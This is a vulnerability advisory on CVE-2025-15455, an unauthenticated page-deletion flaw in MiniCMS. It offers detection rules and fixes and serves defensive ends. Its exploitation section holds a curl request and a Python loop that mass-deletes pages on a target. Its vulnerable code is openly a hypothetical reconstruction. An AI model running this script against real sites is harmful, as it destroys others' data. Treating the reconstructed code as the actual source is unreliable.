CVE-2025-15455

Executive Summary

CVE-2025-15455 is a critical authentication bypass vulnerability discovered in the MiniCMS content management system, developed by Bg5sbk, affecting versions up to and including 1.8. The flaw resides in the delete_page function within the /minicms/mc-admin/page.php file, which acts as a File Recovery Request Handler. Due to improper authentication checks, an unauthenticated remote attacker can trigger the deletion of arbitrary pages without any valid credentials. The exploit has been publicly released, and the vendor has not responded to disclosure attempts, leaving the software in an unpatched state. This vulnerability poses a significant risk to any internet-facing MiniCMS instance, potentially leading to data loss and service disruption.

Supply Chain & Package Security

This vulnerability does not affect a package manager ecosystem (NPM, PyPI, Go, Ruby). MiniCMS is a standalone PHP application typically deployed manually or via direct file transfer. The risk is primarily to end-users who have deployed the software without additional security controls.

CVSS Breakdown & Threat Level

The CVSS v3.1 base score of 6.5 (Medium) is calculated as follows:

• Attack Vector (AV): Network – The attack can be launched remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex steps are required.
• Privileges Required (PR): None – The attacker does not need any authentication.
• User Interaction (UI): None – No user action is required for exploitation.
• Scope (S): Unchanged – The impact is confined to the vulnerable component.
• Confidentiality (C): Low – Limited information disclosure may occur (e.g., page content).
• Integrity (I): Low – The attacker can delete pages, affecting data integrity.
• Availability (A): Low – Deletion of pages may cause partial service disruption.

Threat Level: High. Despite the medium CVSS score, the public availability of a working exploit, the lack of a patch, and the ease of exploitation (no authentication required) elevate the real-world risk. Attackers can systematically delete all pages, effectively defacing or destroying the site's content.

Deep Dive & Mechanics

The vulnerability is a classic Authentication Bypass via Improper Access Control (CWE-306) . The delete_page function in /minicms/mc-admin/page.php is intended to be an administrative action, but the code fails to verify that the requesting user is authenticated as an administrator.

Root Cause Analysis:

The likely vulnerable code pattern (based on the description and common MiniCMS architecture) is:

// Vulnerable snippet (hypothetical reconstruction)
function delete_page($page_id) {
    // Missing: session_start(); if(!isset($_SESSION['admin'])) { die('Unauthorized'); }
    $db = new Database();
    $db->query("DELETE FROM pages WHERE id = " . intval($page_id));
    // ...
}

The function directly performs the deletion without checking for an active admin session. An attacker can simply send a GET or POST request to /minicms/mc-admin/page.php?action=delete&id=X to delete any page.

Attack Flow:

1. Reconnaissance: The attacker identifies a MiniCMS instance (e.g., via Shodan dork http.title:"MiniCMS").
2. Exploitation: The attacker sends a crafted HTTP request to the vulnerable endpoint.
3. Impact: The target page is deleted from the database. Repeated requests can delete all pages.

Vulnerable vs. Patched Code

Since no official patch exists, the following represents the vulnerable code and a recommended fix.

Vulnerable Code (Hypothetical):

// /minicms/mc-admin/page.php (vulnerable)
<?php
include 'config.php';
$action = $_GET['action'];
if ($action == 'delete') {
    $id = intval($_GET['id']);
    $db->query("DELETE FROM pages WHERE id = $id");
    header('Location: page.php');
}
?>

Patched Code (Recommended):

// /minicms/mc-admin/page.php (patched)
<?php
session_start();
include 'config.php';

// Authentication check
if (!isset($_SESSION['admin']) || $_SESSION['admin'] !== true) {
    die('Unauthorized access');
}

$action = $_GET['action'];
if ($action == 'delete') {
    $id = intval($_GET['id']);
    // Additional CSRF protection recommended
    $db->query("DELETE FROM pages WHERE id = $id");
    header('Location: page.php');
}
?>

The key change is the addition of session_start() and a check for $_SESSION['admin'] before any administrative action.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Environment: Deploy a vulnerable MiniCMS 1.8 instance on a local VM (e.g., using XAMPP or Docker).
2. Tooling: curl, Burp Suite, or a simple Python script.

Exploitation Steps:

1. Identify Target: Use Shodan or direct browsing to find a MiniCMS site.
2. Craft Request: Send a GET request to delete a page with ID 1:

   curl -X GET "http://target.com/minicms/mc-admin/page.php?action=delete&id=1"
   

3. Verify: Check if the page is removed from the frontend.

Automated Exploit (Python):

import requests

target = "http://target.com/minicms/mc-admin/page.php"
for page_id in range(1, 100):
    url = f"{target}?action=delete&id={page_id}"
    response = requests.get(url)
    if response.status_code == 200:
        print(f"Deleted page ID: {page_id}")

Blue Team (Defensive)

Detection & Prevention:

1. Web Application Firewall (WAF): Block requests to /minicms/mc-admin/page.php that contain action=delete without a valid session cookie.
2. Network Monitoring: Alert on unusual patterns of GET requests to the admin endpoint.
3. Code Hardening: Apply the patched code immediately (see above).
4. Access Control: Restrict access to /minicms/mc-admin/ via .htaccess or IP whitelisting.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /minicms/mc-admin/page.php?action=delete&id=[0-9]+
  • Repeated 302 redirects from page.php to page.php (indicating mass deletion)
• File System IOCs:
  • Missing page content in the database (check pages table)
  • Log entries in web server access logs showing the exploit pattern
• Log Example (Apache):

  192.168.1.100 - - [15/Mar/2025:10:00:00 +0000] "GET /minicms/mc-admin/page.php?action=delete&id=1 HTTP/1.1" 302 -
  

Detection Engineering

YARA Rule

rule CVE_2025_15455_MiniCMS_Delete_Page {
    meta:
        description = "Detects exploitation attempts for CVE-2025-15455 in MiniCMS"
        author = "Valters IT"
        date = "2025-03-15"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-15455"
    strings:
        $s1 = "action=delete" ascii nocase
        $s2 = "page.php" ascii nocase
        $s3 = "id=" ascii nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-15455 MiniCMS Unauthenticated Page Deletion
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting the vulnerable delete_page function in MiniCMS
author: Valters IT
date: 2025/03/15
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '/minicms/mc-admin/page.php'
            - 'action=delete'
            - 'id='
    condition: selection
falsepositives:
    - Legitimate admin actions (if authentication is properly implemented)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-15455 MiniCMS Unauthenticated Page Deletion Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/minicms/mc-admin/page.php"; http_uri; content:"action=delete"; http_uri; content:"id="; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply Virtual Patching: Use a WAF to block requests matching the pattern /minicms/mc-admin/page.php?action=delete.
2. Restrict Access: Limit access to the /minicms/mc-admin/ directory using .htaccess:

   <Directory "/var/www/html/minicms/mc-admin">
       Require ip 192.168.1.0/24
   </Directory>
   

3. Manual Code Fix: Add authentication checks as shown in the "Patched Code" section above.

Long-Term Recommendations:

• Migrate Away: Replace MiniCMS with a maintained CMS (e.g., WordPress, Joomla, or a static site generator).
• Regular Audits: Conduct periodic security reviews of all web applications.
• Vendor Contact: Continue attempting to contact the vendor; if no response, consider forking the project and applying fixes.

Valters IT – Securing digital frontiers with precision and expertise.